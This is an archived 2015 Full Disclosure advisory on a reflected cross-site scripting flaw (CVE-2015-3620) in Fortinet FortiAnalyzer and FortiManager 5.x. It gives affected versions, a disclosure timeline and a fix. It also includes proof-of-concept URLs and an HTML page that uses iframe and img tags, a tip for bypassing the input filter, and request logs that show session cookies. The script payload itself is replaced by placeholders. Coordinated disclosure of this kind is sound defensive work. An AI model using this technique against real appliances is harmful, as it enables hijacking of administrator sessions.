[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 05 May 2015 11:32:35 +0200
Document Title:
===============
Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting
Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1354
Security Bulletin FortiGuard: http://www.fortiguard.com/advisory/FG-IR-15-005/
PSIRT ID: 1327458
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620
CVE-ID:
=======
CVE-2015-3620
Release Date:
=============
2015-05-05
Vulnerability Laboratory ID (VL-ID):
====================================
1354
Common Vulnerability Scoring System:
====================================
3.5
Product & Service Introduction:
===============================
FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate,
analyze, and report on network log data gathered
from Fortinet Network Security Appliances and other syslog-compatible devices.
You can analyze and manage a wide range of data,
including security events, network traffic, Web content, and email, to measure
your security posture regulatory compliance.
FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security
Management Products that support diverse deployment
types, growth flexibility, advanced customization through APIs and simple
licensing. Versatile models are designed for large
organizations and multi-tenant environments, smaller networks and
mid-enterprise organizations
(Copy of the Vendor Homepage:
http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html
)
The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log
data from Fortinet devices and other syslog-compatible
devices. Using a comprehensive suite of easily-customized reports, users can
filter and review records, including traffic, event, virus,
attack, Web content, and email data, mining the data to determine your security
stance and assure regulatory compliance.
(Copy of the Vendor Homepage:
http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side
vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance
web-application.
Vulnerability Disclosure Timeline:
==================================
2014-12-01: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-12-02: Vendor Notification 1 (Fortiguard Security - CERT Team)
2015-02-10: Vendor Notification 2 (Fortiguard Security - CERT Team)
2015-02-13: Vendor Response/Feedback (Fortiguard Security - CERT Team)
2015-04-30: Vendor Fix/Patch (Fortinet Developer Team)
2015-05-05: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Fortinet
Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the
official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application.
The security vulnerability allows remote attackers to manipulate client-side
application to browser requests to compromise user/admin session information.
The vulnerability is located in the `query and name` values of the `Reports >
Advanced > Dataset > View Dataset` module. Remote attackers are able to
inject malicious script codes to client-side application requests. Remote
attackers are able to prepare special crafted weblinks to execute client-side
script code that compromises the fortinanalyzer user/admin session data. The
execution of the script code occurs in the test query display module.
The attack vector of the vulnerability is located on the client-side of the
online-service and the request method to inject or execute the code is GET.
The appliance web-application filter prevents to execute script code tags after
the request by the vulnerable inputs. To bypass the validation filter
and protection mechanism of the fortinalayzer use the img, embed and iframe
tags with onload to inject client-side script code. The problem is that
the input filter does not capture the the context with the correct encoding as
result the code bypass the filter of the appliance and executes as dom.
The security risk of the non-persistent cross site vulnerability is estimated
as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability
requires no privileged web application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing, non-persistent external redirects, non-persistent load
of malicious script codes or non-persistent web module context manipulation.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Reports > Advanced > Dataset
Vulnerable Parameter(s):
[+] name
[+] query
Affected Module(s):
[+] View Dataset - SQL RUN Query Display
During the client security tests the research team noticed that the official vm
version and the all appliance models are affected by the security issue.
The following versions and models of the fortinet fortianalyzer appliance
web-application are affected by the remote cross site scripting vulnerability.
Affected Model(s):
[+] FortiManager 5.2.0 GA, 5.2.1 GA
[+] FortiManager 5.0.3 GA to 5.0.10 GA release
[+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release
Affected Version(s):
[+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to
5.21 (GA)
Proof of Concept (PoC):
=======================
PoC:
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C
https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C
Exploit: PoC
<html>
<head><body>
<title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting
PoC</title>
<iframe
src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<img
src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<iframe
src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<img
src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C>
</body></head>
</html>
Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name
<tr id="yui_3_5_0_1_1417083590427_1543">
<td id="yui_3_5_0_1_1417083590427_1542" colspan="2">
<input id="id_test_sql" value="Test" type="button">
</td>
</tr>
<!-- Output Console -->
<tr>
<td colspan="2" id="id_sql_console_output_td">
<div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR:
unterminated quoted identifier
at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) <
^
</pre></code></iframe></code></pre></div>
<img id="id_query_response_waiting"
src="/resource/images/loading.gif" style="display: none;" hidden="true"></td>
</tr>
</tbody>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND ] Größe
des Inhalts[-1] Mime Type[application/json]
Request Header:
Host[fortianalyzer.127.0.0.1:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11]
Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1;
add_dev_later=; auth_state=;
CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw==;
csrftoken=55cee37b45599df7afe8bdd27e66bc11]
Connection[keep-alive]
Response Header:
Server[Apache]
Expires[-1]
Pragma[no-cache]
Cache-Control[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Keep-Alive[timeout=30, max=72]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[application/json; charset=UTF-8]
-
Status: 200[OK]
GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED
SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime
Type[text/html]
Request Header:
Host[127.0.0.1:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1;
add_dev_later=; auth_state=;
CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw==;
csrftoken=55cee37b45599df7afe8bdd27e66bc11]
Connection[keep-alive]
Response Header:
Date[Thu, 27 Nov 2014 10:23:54 GMT]
Server[Apache]
Vary[Cookie,Accept-Encoding]
Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu,
26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/]
Content-Encoding[gzip]
Keep-Alive[timeout=30, max=70]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[text/html; charset=utf-8]
Reference(s):
https://fortianalyzer.127.0.0.1:8080/p/report/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
name and query input fields in the data set view module.
Restrict the input fields and disallow special chars. Encode the test code
display output to prevent client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the
dataset view module is estimated as medium. (CVSS 3.5)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential
loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen
material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All
other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To
record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a
permission.
Copyright © 2015 | Vulnerability Laboratory -
Evolution Security GmbH ™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
PGP KEY:
http://www.vulnerability-lab.com/keys/admin@xxxxxxxxxxxxxxxxxxxxx%280x198E9928%29.txt
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/